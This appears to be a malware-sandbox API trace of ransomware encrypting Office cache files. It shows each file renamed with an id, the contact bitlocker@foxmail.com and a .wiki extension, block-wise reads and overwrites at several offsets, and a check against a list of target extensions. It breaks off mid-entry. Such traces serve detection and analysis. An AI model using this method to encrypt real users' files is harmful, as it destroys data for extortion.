GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0048.941] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0049.372] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0049.372] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0x0) returned 1 [0049.372] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.372] ReadFile (in: hFile=0x194, lpBuffer=0x3ca0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ca0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.377] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.377] ReadFile (in: hFile=0x194, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.380] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0049.380] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.380] ReadFile (in: hFile=0x194, lpBuffer=0x3d20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d20058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.396] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.396] WriteFile (in: hFile=0x194, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x314fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0049.415] SetEndOfFile (hFile=0x194) returned 1 [0049.415] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40e5510 [0049.419] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.419] WriteFile (in: hFile=0x194, lpBuffer=0x40e5510*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x40e5510*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.419] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.419] WriteFile (in: hFile=0x194, lpBuffer=0x40e5510*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x40e5510*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.421] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.421] WriteFile (in: hFile=0x194, lpBuffer=0x40e5510*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x40e5510*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.588] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40e5510 | out: hHeap=0x6c0000) returned 1 [0049.658] CloseHandle (hObject=0x194) returned 1 [0051.342] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0051.342] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0051.342] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0051.342] lstrlenW (lpString=".doc") returned 4 [0051.342] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0051.342] lstrlenW (lpString=".docx") returned 5 [0051.342] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0051.342] lstrlenW (lpString=".pdf") returned 4 [0051.342] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0051.342] lstrlenW (lpString=".xls") returned 4 [0051.342] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0051.342] lstrlenW (lpString=".xlsx") returned 5 [0051.342] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0051.342] lstrlenW (lpString=".ppt") returned 4 [0051.342] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0051.342] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0051.342] lstrlenW (lpString=".zip") returned 4 [0051.342] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0051.343] lstrlenW (lpString=".rar") returned 4 [0051.343] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0051.343] lstrlenW (lpString=".bz2") returned 4 [0051.343] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0051.343] lstrlenW (lpString=".7z") returned 3 [0051.343] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0051.343] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0051.343] lstrlenW (lpString=".dbf") returned 4 [0051.343] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0051.343] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0051.343] lstrlenW (lpString=".1cd") returned 4 [0051.343] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0051.343] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0051.343] lstrlenW (lpString=".jpg") returned 4 [0051.343] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0051.343] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0051.343] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0051.343] lstrlenW (lpString=".doc") returned 4 [0051.343] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0051.343] lstrlenW (lpString=".docx") returned 5 [0051.343] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0051.343] lstrlenW (lpString=".pdf") returned 4 [0051.343] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0051.343] lstrlenW (lpString=".xls") returned 4 [0051.343] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0051.343] lstrlenW (lpString=".xlsx") returned 5 [0051.343] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0051.343] lstrlenW (lpString=".ppt") returned 4 [0051.344] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0051.344] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0051.344] lstrlenW (lpString=".zip") returned 4 [0051.344] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0051.344] lstrlenW (lpString=".rar") returned 4 [0051.344] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0051.344] lstrlenW (lpString=".bz2") returned 4 [0051.344] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0051.344] lstrlenW (lpString=".7z") returned 3 [0051.344] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0051.344] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0051.344] lstrlenW (lpString=".dbf") returned 4 [0051.344] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0051.344] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0051.344] lstrlenW (lpString=".1cd") returned 4 [0051.344] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0051.344] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0051.344] lstrlenW (lpString=".jpg") returned 4 [0051.344] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0051.344] lstrcmpiW (lpString1=".cab", lpString2=".wiki") returned -1 [0051.344] lstrlenW (lpString="OWOW32LR.cab") returned 12 [0051.344] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0051.345] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2928955) returned 1 [0051.345] CloseHandle (hObject=0x194) returned 1 [0051.345] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab")) returned 0x2020 [0051.345] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0051.345] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0051.346] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0051.346] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0x0) returned 1 [0051.346] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0051.346] ReadFile (in: hFile=0x194, lpBuffer=0x3ca0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ca0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.473] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0051.473] ReadFile (in: hFile=0x194, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.480] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0051.480] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0051.480] ReadFile (in: hFile=0x194, lpBuffer=0x3d20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d20058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.495] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.495] WriteFile (in: hFile=0x194, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x314fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0051.510] SetEndOfFile (hFile=0x194) returned 1 [0051.510] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40d5508 [0051.510] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0051.510] WriteFile (in: hFile=0x194, lpBuffer=0x40d5508*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x40d5508*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0051.512] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0051.512] WriteFile (in: hFile=0x194, lpBuffer=0x40d5508*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x40d5508*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0051.720] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0051.720] WriteFile (in: hFile=0x194, lpBuffer=0x40d5508*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x40d5508*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0051.722] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40d5508 | out: hHeap=0x6c0000) returned 1 [0051.722] CloseHandle (hObject=0x194) returned 1 [0052.080] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0052.080] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0052.080] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0052.081] lstrlenW (lpString=".doc") returned 4 [0052.081] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0052.081] lstrlenW (lpString=".docx") returned 5 [0052.081] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0052.081] lstrlenW (lpString=".pdf") returned 4 [0052.081] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0052.081] lstrlenW (lpString=".xls") returned 4 [0052.081] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0052.081] lstrlenW (lpString=".xlsx") returned 5 [0052.081] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0052.081] lstrlenW (lpString=".ppt") returned 4 [0052.081] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0052.081] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0052.081] lstrlenW (lpString=".zip") returned 4 [0052.081] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0052.081] lstrlenW (lpString=".rar") returned 4 [0052.081] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0052.081] lstrlenW (lpString=".bz2") returned 4 [0052.081] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0052.081] lstrlenW (lpString=".7z") returned 3 [0052.081] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0052.081] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0052.081] lstrlenW (lpString=".dbf") returned 4 [0052.081] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0052.081] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0052.081] lstrlenW (lpString=".1cd") returned 4 [0052.081] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0052.081] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0052.081] lstrlenW (lpString=".jpg") returned 4 [0052.081] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0052.081] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0052.081] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0052.081] lstrlenW (lpString=".doc") returned 4 [0052.081] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0052.081] lstrlenW (lpString=".docx") returned 5 [0052.081] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0052.082] lstrlenW (lpString=".pdf") returned 4 [0052.082] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0052.082] lstrlenW (lpString=".xls") returned 4 [0052.082] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0052.082] lstrlenW (lpString=".xlsx") returned 5 [0052.082] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0052.082] lstrlenW (lpString=".ppt") returned 4 [0052.082] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0052.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0052.082] lstrlenW (lpString=".zip") returned 4 [0052.082] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0052.082] lstrlenW (lpString=".rar") returned 4 [0052.082] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0052.082] lstrlenW (lpString=".bz2") returned 4 [0052.082] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0052.082] lstrlenW (lpString=".7z") returned 3 [0052.082] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0052.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0052.082] lstrlenW (lpString=".dbf") returned 4 [0052.082] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0052.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0052.082] lstrlenW (lpString=".1cd") returned 4 [0052.082] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0052.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0052.082] lstrlenW (lpString=".jpg") returned 4 [0052.082] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0052.082] lstrcmpiW (lpString1=".msi", lpString2=".wiki") returned -1 [0052.082] lstrlenW (lpString="InfoPathMUI.msi") returned 15 [0052.082] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0052.083] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=3124224) returned 1 [0052.083] CloseHandle (hObject=0x194) returned 1 [0052.083] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi")) returned 0x2020 [0052.083] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0052.083] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0052.083] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0052.083] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0x0) returned 1 [0052.084] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.084] ReadFile (in: hFile=0x194, lpBuffer=0x3ca0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ca0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.086] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.086] ReadFile (in: hFile=0x194, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.091] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0052.091] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.091] ReadFile (in: hFile=0x194, lpBuffer=0x3d20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d20058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.104] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.105] WriteFile (in: hFile=0x194, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xc010a, lpNumberOfBytesWritten=0x314fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fcb0*=0xc010a, lpOverlapped=0x0) returned 1 [0052.430] SetEndOfFile (hFile=0x194) returned 1 [0052.430] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40d5508 [0052.434] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.434] WriteFile (in: hFile=0x194, lpBuffer=0x40d5508*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x40d5508*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.436] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.436] WriteFile (in: hFile=0x194, lpBuffer=0x40d5508*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x40d5508*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.442] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.442] WriteFile (in: hFile=0x194, lpBuffer=0x40d5508*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: 